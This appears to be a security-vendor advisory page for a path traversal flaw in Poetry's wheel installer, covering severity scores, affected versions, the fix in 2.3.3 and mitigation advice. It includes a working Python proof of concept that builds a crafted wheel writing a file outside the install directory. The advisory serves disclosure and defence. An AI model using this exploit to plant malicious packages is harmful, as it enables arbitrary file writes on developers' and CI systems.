GHSA-2599-h6xx-hpxp is a medium-severity (CVSS 6.5) Path Traversal vulnerability in poetry. A fix is available for poetry — see the affected versions and patch details below.
Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-2599-h6xx-hpxp.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-2599-h6xx-hpxp plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
poetryReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process.
Impact
Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.
Patches
Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.
Details
Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path:
src/poetry/installation/wheel_installer.py:47 src/poetry/installation/wheel_installer.py:59
The vulnerable sink is reachable in normal installation: src/poetry/installation/executor.py:607
No resolve() + is_relative_to() style guard is enforced before writing.
POC
from pathlib import Path
import tempfile, zipfile, sys
from installer import install
from installer.sources import WheelFile
from poetry.installation.wheel_installer import WheelDestination
root = Path(tempfile.mkdtemp(prefix="poetry-poc-"))
wheel = root / "evil-0.1-py3-none-any.whl"
base = root / "venv" / "lib" / "pythonX" / "site-packages"
for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]:
d.mkdir(parents=True, exist_ok=True)
files = {
"evil/__init__.py": b"",
"../../pwned.txt": b"owned\n",
"evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n",
"evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n",
}
files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode()
with zipfile.ZipFile(wheel, "w") as z:
for k,v in files.items(): z.writestr(k,v)
dest = WheelDestination(
{"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")},
interpreter=sys.executable, script_kind="posix"
)
with WheelFile.open(wheel) as src:
install(src, dest, {"INSTALLER": b"PoC"})
out = (base / "../../pwned.txt").resolve()
print("outside write:", out.exists(), out)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | poetry | ≥ 1.4.0&&< 2.3.3 | 2.3.3pip install --upgrade 'poetry==2.3.3' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for poetry, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update poetry to 2.3.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2599-h6xx-hpxp is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-2599-h6xx-hpxp can be triaged on real exposure rather than presence alone.
Tailored to GHSA-2599-h6xx-hpxp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-2599-h6xx-hpxp in your dependencies?
O3 Security finds GHSA-2599-h6xx-hpxp across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.